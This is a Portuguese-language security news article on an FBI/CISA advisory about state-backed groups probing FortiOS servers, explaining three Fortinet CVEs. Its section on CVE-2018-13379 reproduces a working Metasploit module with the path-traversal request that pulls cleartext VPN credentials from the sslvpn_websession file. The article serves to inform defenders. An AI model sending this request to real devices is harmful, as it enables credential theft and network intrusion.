FBI notifica sobre ataques coordenados em servidores FortiOS

Vulnerabilidades em FortiOS


Fortinet_Logo.png

O FBI (Federal Bureau of Investigation) e a CISA (Cybersecurity and Infrastructure Security Agency) dos Estados Unidos geraram um relatório conjunto onde detalham atividades crescentes de grupos APTs, envolvendo a enumeração de servidores FortiOS por vulnerabilidades conhecidas, que permitem coleta de informações para usuários não-autenticados e potencialmente podem facilitar um comprometimento de uma conta de usuário. As vulnerabilidades em questão são:

Segundo o relatório, o ataque consiste em uma estratégia de enumeração de serviços vulneráveis para que acesso possa ser obtido para ataques futuros.

Seguindo o mesmo modus operandi de outras ações associadas a atores estatais contra os Estados Unidos, os atacantes fazem uso de CVEs já descobertas ou métodos como spearphishing para atacar setores de infraestrutura, buscando ataques distribuídos de negação de serviço (DDoS) ou extração ou criptografia de dados (ransomwares).

Segundo a reportagem do Bleeping Computer, os ataques em servidores Fortinet não são novidade. Os mesmos já haviam sido vitimados durante as eleições americanas de 2020 por sua utilização em softwares de sistemas de apoio no processo eleitoral, com o intuito de gerar desinformação e minar a confiança no processo democrático americano. Na ocasião, a Microsoft atribuiu os ataques à grupos do Irã, da China e da Rússia.

Funcionamento das Vulnerabilidades

CVE-2018-13379 - Path Traversal Vulnerability
Uma vulnerabilidade de path traversal se caracteriza por um atacante enviar uma request para um servidor web, tentando explorar falhas de configuração para acessar arquivos e diretórios que devem estar fora de seu alcance. Para a tal, a request enviada pelo atacante usa sequências dot-dot-slash ("/../") para tentar manipular o que o servidor o permite acessar.

require 'msf/core'
class MetasploitModule < Msf::Auxiliary
	include Msf::Exploit::Remote::HttpClient
	include Msf::Post::File 
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SSL VPN FortiOs - System file leak',
			'Description'    => %q{
				FortiOS system file leak through SSL VPN via specially crafted HTTP resource requests.
				This exploit read /dev/cmdb/sslvpn_websession file, this file contains login and passwords in (clear/text).
				This vulnerability affect ( FortiOS 5.6.3 to 5.6.7 and FortiOS 6.0.0 to 6.0.4 ).
			},
			'References'     =>
			    [
			        [ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379' ]
			    ],
			'Author'         => [ 'lynx (Carlos Vieira)' ],
			'License'        => MSF_LICENSE,
			 'DefaultOptions' =>
		      {
		        'RPORT' => 443,
		        'SSL' => true
		      },
			))

	end

Na função run, podemos observar a request que é enviada para a obtenção das informações no arquivo sslvpn_websession presente no servidor. Para a leitura subsequente, uma outra função parse é utilizada para a transformação do conteúdo do arquivo em algo legível.

Note o 'payload' que será enviado na request em send_request_raw - Tal payload é o que permite a exploração da vulnerabilidade mencionada para a obtenção da informação valiosa.

def run()
		print_good("Checking target...")
		res = send_request_raw({'uri'=>'/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'})

		if res && res.code == 200
			print_good("Target is Vulnerable!")
			data = res.body
			current_host = datastore['RHOST']
			filename = "msf_sslwebsession_"+current_host+".bin"
			File.delete(filename) if File.exist?(filename)
			file_local_write(filename, data)
			print_good("Parsing binary file.......")
			parse()
		else
			if(res && res.code == 404)
				print_error("Target not Vulnerable")
			else
				print_error("Ow crap, try again...")
			end
		end
	end

CVE-2019-5591 - Default Configuration Vulnerability

Em servidores FortiOS até 6.2.0, uma vulnerabilidade permite que um atacante não autenticado, que esteja na mesma sub-rede, intercepte informações por meio de personificação do servidor LDAP(Lightweight Directory Access Protocol).

LDAP é um protocolo usado para autenticação em directory services, que por sua vez armazenam informações como usuários, senhas e contas, e compartilham informações para outras entidades relevantes dentro de uma rede. A CVE reportada em 2019 detalha que um atacante pode "se passar" pelo servidor LDAP mencionado, assim recebendo informações privilegiadas sem as permissões necessárias.


CVE-2020-12812 - Improper Authentication Vulnerability

Outra vulnerabilidade no portal web da SSL VPN do FortiOS, a CVE permite que um usuário faça login sem precisar cumprir a verificação de duas etapas (FortiToken).

O erro ocorre na verificação da capitalização das letras no nome de usuário (case sensitive matching) na configuração da autenticação remota, durante a interação da mesma com o Windows Active Directory - Uma conta de usuário que faça uso de autenticação remota, como LDAP, pode evitar a segunda etapa de verificação durante o login simplesmente mudando as letras de seu nome de usuário de maísculas para minúsculas (ou vice-versa).